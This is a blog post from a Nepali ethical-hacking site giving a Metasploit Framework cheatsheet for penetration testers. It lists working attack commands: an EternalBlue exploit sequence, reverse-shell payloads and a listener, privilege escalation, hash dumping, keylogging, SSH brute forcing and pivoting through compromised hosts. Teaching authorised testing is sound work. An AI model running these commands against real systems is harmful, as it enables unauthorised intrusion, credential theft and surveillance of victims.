Skip to content
-
Learn Cybersecurity & Ethical Hacking in Nepal with CyberSamir — Start Learning →
Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
Close

Search

Subscribe
  • Facebook
  • Telegram
  • Instagram
  • Youtube
  • Linkedin
  • Whasapp
Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

Cyber Samir Cyber Samir Cyber Samir

Learn Cybersecurity, Ethical Hacking & Bug Bounty in Nepal

  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
  • Home
  • About Us
  • Blogs
    • Ethical Hacking
    • Cybersecurity
    • Penetration testing
  • Tools
    • Phishing email Detector tool
    • Website Security Checker Tool
    • Age|Face Shape|Expression Guess
    • Text Cleaner Tool
    • Image Converter & Resizer Tool (Free Online)
  • Contact Us
Close

Search

Subscribe
  • Facebook
  • Telegram
  • Instagram
  • Youtube
  • Linkedin
  • Whasapp
Ethical Hacking

Metasploit Framework Cheatsheet

By cybersamir
March 22, 2025 3 Min Read
Comments Off on Metasploit Framework Cheatsheet

Ultimate Metasploit Framework Cheatsheet

A comprehensive reference guide for penetration testers using the Metasploit Framework.

Table of Contents

  • Introduction
  • Installation
  • Basic Commands
  • MSFconsole
  • Modules
  • Database
  • Payloads
  • Exploitation
  • Post-Exploitation
  • Meterpreter
  • Auxiliary
  • Pivoting

Introduction to Metasploit

The Metasploit Framework is an open-source penetration testing framework maintained by Rapid7 and the security community. It provides a structured environment for developing and executing exploit code.

Core Components

  • MSFconsole – The main CLI interface.
  • Modules – Pre-packaged exploits and tools.
  • Tools – Standalone utilities (msfvenom).
  • Libraries – Rex, Msf::Core, Msf::Base.

Module Types

  • Exploits – Code that leverages a vulnerability.
  • Payloads – Code that runs after exploitation.
  • Auxiliary – Scanners, fuzzers, and sniffers.
  • Post – Post-exploitation modules.

Installation & Setup

On Kali Linux (Pre-installed)

Ensure your framework is up to date:

sudo apt update && sudo apt install metasploit-framework

Update Metasploit

msfupdate

Start the Console

msfconsole

Initialize Database

Metasploit uses PostgreSQL to store results. Start it before MSF:

sudo systemctl start postgresql
sudo msfdb init

Basic Commands

Command Description
helpShow available commands
versionShow framework version
bannerDisplay the ASCII banner
connectNetcat-like connection tool
spool [file]Save console output to file
saveSave current environment settings
exitExit the console

MSFconsole Commands

These commands are used to navigate modules and configure exploits.

Command Description
search [term]Search for modules
use [module]Select a module to use
infoDisplay detailed module info
show optionsShow required parameters
set [opt] [val]Set a specific option
setg [opt] [val]Set a global option
unset [opt]Unset an option
backGo back to main menu
exploit / runExecute the module
checkCheck if target is vulnerable
Pro Tip:

You can use resource [file.rc] to run a script file containing multiple Metasploit commands automatically.

Working with Modules

Finding Modules

search type:exploit platform:windows cve:2021

Common Search Filters

Filter Example
type:exploit, payload, auxiliary, post
platform:windows, linux, android, php
name:smb, apache, ssh
cve:2017, 2021
rank:excellent, great, normal

Example: EternalBlue

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.105
set LHOST 192.168.1.5
exploit

Database Commands

db_status
workspace -a [ProjectName]
hosts
services -p 80
db_nmap -sV 192.168.1.1
creds
loot

Payloads Reference

Payloads are the code that runs on the target machine upon successful exploitation.

Payload Name Type
windows/meterpreter/reverse_tcpStaged Windows Reverse Shell
windows/x64/meterpreter/reverse_tcp64-bit Windows Reverse Shell
linux/x86/meterpreter/reverse_tcpLinux Reverse Shell
php/meterpreter/reverse_tcpWeb Server (PHP) Shell
android/meterpreter/reverse_tcpAndroid APK Shell
cmd/unix/reverse_netcatNetcat-based Shell

Exploitation & Handlers

Setting up a Listener (Multi Handler)

Used to catch reverse shells generated by msfvenom.

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.5
set LPORT 4444
exploit

Post-Exploitation

Actions to perform after getting a session.

Session Management

sessions -l
sessions -i [ID]
background

Inside a Session

sysinfo
getuid
getsystem
ps
migrate [PID]

Post Modules

run post/windows/gather/enum_applications
run post/multi/recon/local_exploit_suggester

Meterpreter Commands

Command Description
upload [src] [dst]Upload file to target
download [src] [dst]Download file from target
search -f [file]Search for files
shellDrop into system shell (cmd/bash)
execute -f [cmd]Run a command
screenshotTake desktop screenshot
keyscan_startStart keylogger
keyscan_dumpDump keystrokes
hashdumpDump SAM database hashes

Auxiliary Modules

Useful for scanning and enumeration before exploitation.

SMB Version Scanner

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run

SSH Login Brute Force

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.10
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Pivoting & Tunnelling

Auto Route

Route traffic through a compromised host to reach an internal network.

run autoroute -s 10.10.10.0/24

Port Forwarding

portfwd add -l 8080 -p 80 -r 10.10.10.5

SOCKS Proxy

use auxiliary/server/socks_proxy
set VERSION 4a
run
Author

cybersamir

Follow Me
Other Articles
Previous

Top Cybersecurity Challenges in Nepal

Next

Kali Linux Cheat Sheet

Your ad here

300 x 250 banner slot

Reach Nepali students, developers, and security learners reading about ethical hacking, CTFs, and cyber news.

Book on WhatsApp Or send an email

Sponsors: VPNs, courses, hosting, security tools

Recent Posts

  • How to Recover Money from Online Scam Nepal: 2026 Guide
  • How to Check If Your Data Was Leaked (Nepal 2026 Guide)
  • Is PHP Dead? A 2026 Reckoning
  • Nepal Cyber Shield CTF: Top 10 Teams Qualified for the Grand Finale
  • How to Report Cybercrime in Nepal: Step-by-Step Guide (2026)

Nepal Cyber Shield 2026

Been scammed or hacked?

Act fast: save screenshots, don't delete chats, and report it.

  • 100 Nepal Police emergency line
  • +9779851286770 Nepal Police Cyber Bureau
Report here (Nepal Police) Read the step-by-step reporting guide

Money lost? Call your bank first so they can try to freeze the transfer.

Categories

  • Awareness
  • Blog
  • Career & Learning
  • Cybersecurity
  • Ethical Hacking
  • Nepal Tech & Digital Safety
  • News
  • Penetration testing
  • Tools & Reviews

Latest security alerts

  • WhatsApp to Force iPhone Users to Update iOS as Website-Based Malware Attacks Spread
  • Google and Anthropic AI Found an 18-Year-Old UEFI Flaw That Can Bypass Secure Boot
  • Docker Sandboxes Flaw Lets Malicious AI Agent Kit Updates Steal Developers' API Keys
  • Hackers Flood Hugging Face and GitHub With 5,000+ Fake Game Cheat Malware Lures
  • 3 Winning Moves to Grow MSSP Profits and Keep SOC Costs Under Control
  • Nepal's Digital Systems Under Siege: Cyber Attacks Target Government and Private Sectors - Ratopati
  • Stock Market Trading Halted Due to Cyber Attack on Data Center - Ratopati
  • NEPSE’s ‘technical glitch’ was a ransomware attack. What happened? - OnlineKhabar English News
  • Nepal’s stock market has a bigger problem than a ransomware attack: Everything you need to know - Nepalnews.com
  • Nepal stock market halted after ransomware attack disrupts 72 brokers - The Star

You May Have Missed

how to recover money from online scam Nepal
Awareness

How to Recover Money from Online Scam Nepal: 2026 Guide

cybersamir
By cybersamir
November 28, 2026
data leak check nepal
Awareness

How to Check If Your Data Was Leaked (Nepal 2026 Guide)

cybersamir
By cybersamir
November 26, 2026
Cinematic PHP programming thumbnail with the headline “Is PHP Dead? 2026 Reckoning,” a glowing blue PHP elephant, and CyberSamir branding.
Awareness

Is PHP Dead? A 2026 Reckoning

cybersamir
By cybersamir
October 25, 2026
ctf top 10 selected teams
News

Nepal Cyber Shield CTF: Top 10 Teams Qualified for the Grand Finale

cybersamir
By cybersamir
October 4, 2026
How to report cybercrime in Nepal Cyber Bureau complaint guide
Awareness

How to Report Cybercrime in Nepal: Step-by-Step Guide (2026)

cybersamir
By cybersamir
September 27, 2026
Nepal Data Breach: 462,600 Citizens' IDs Allegedly Leaked," subtext "Dark web forum post claims mass PII theft from a .gov.np portal
News

Nepal Government Portal Allegedly Breached: 462,600 Citizens’ Data Reportedly Listed for Sale on Dark Web

cybersamir
By cybersamir
September 24, 2026
Cybersecurity

Top 10 Security Mistakes Nepali Websites Still Make in 2026

cybersamir
By cybersamir
September 23, 2026
News Cybersecurity

Nepal Data Hub Ransomware Attack: NEPSE Shutdown Explained

cybersamir
By cybersamir
September 23, 2026
News

Nepal Cyber Shield 2026: Everything You Need to Know About Nepal’s National CTF Championship

cybersamir
By cybersamir
September 19, 2026
CS

CYBERSAMIR

Explore. Hack. Secure. Learn.

About Us

CyberSamir provides cutting-edge insights into ethical hacking, penetration testing, and cybersecurity defense strategies for professionals and enthusiasts alike.

500+ Articles
15K+ Members
30+ Tools

Resources

  • Tutorials
  • Our Services
  • Tools
  • CTF Walkthroughs
  • Security News

Community

  • WhatsApp Group
  • Discord Server
  • Telegram Group
  • Upcoming Events
  • Certifications

Follow Us

Cyber Security Events Worldwide

© CyberSamir. All Rights Reserved.

Copyright 2026 — Cyber Samir. All rights reserved. Blogsy WordPress Theme